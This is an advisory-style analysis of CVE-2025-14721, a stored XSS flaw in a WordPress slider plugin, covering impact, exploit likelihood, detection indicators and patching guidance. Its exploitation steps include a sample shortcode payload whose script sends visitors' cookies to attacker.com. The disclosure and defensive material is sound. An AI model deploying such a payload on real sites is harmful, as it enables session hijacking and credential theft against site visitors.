CVE-2025-14721: 
WordPress vulnerability analysis and mitigation

CVE-2025-14721 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Responsive and Swipe Slider" plugin for WordPress, affecting all versions up to and including 1.0.2. The flaw exists in the plugin's rsSlider shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 20, 2025, and assigned a CVSS v3.1 base score of 5.5 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Authenticated attackers with contributor-level access or above can inject arbitrary JavaScript via the rsSlider shortcode attributes, which are stored in the database without proper sanitization or escaping. The vulnerable code path has been identified in shortcode.php at line 100 of the plugin's source (Wordfence, WordPress Trac). Exploitation requires an authenticated session with at minimum contributor privileges, and the injected script executes in the browser of any user who visits a page containing the malicious shortcode.

Successful exploitation allows an attacker to persistently inject malicious scripts into WordPress pages, which execute in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, or redirection of site visitors to malicious content. While availability is not directly impacted, confidentiality and integrity are both affected at a low level, with the scope extending beyond the attacker's own session to all site visitors (Red Hat CVE, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14721. The EPSS score is approximately 0.027%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for authenticated contributor-level access, limiting the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page that supports shortcodes.
3. Inject Malicious Shortcode: Insert the rsSlider shortcode with a crafted attribute containing a JavaScript payload, e.g., [rsSlider attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Save and publish the post/page so the malicious shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the injected page, the unsanitized attribute is rendered in the HTML output and the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing rsSlider shortcode with unusual attribute values including HTML tags or JavaScript.
• Database: Entries in the wp_posts table containing rsSlider shortcode attributes with embedded <script> tags, event handlers (e.g., onerror, onload), or encoded JavaScript payloads.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the rsSlider shortcode, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin files in wp-content/plugins/responsive-and-swipe-slider/, particularly shortcode.php, which could indicate further tampering post-exploitation.

WordPress site administrators should update the "Responsive and Swipe Slider" plugin to version 1.0.3 or later, which addresses the insufficient sanitization and escaping issues (Wordfence). As an interim measure, restrict contributor-level user registrations and audit existing contributor accounts for unauthorized activity. If the plugin is not actively needed, consider deactivating and removing it until a patched version can be applied.

The vulnerability was reported and disclosed by Wordfence, which maintains a dedicated threat intelligence entry for it. Coverage has been picked up by automated vulnerability aggregators including VulDB, Vulners, and CIRCL, as well as a brief post on Bluesky's CVE feed. A brief technical summary was published by Infinit Security (Infinit Security). No significant broader media coverage or notable researcher commentary beyond standard disclosure channels has been observed.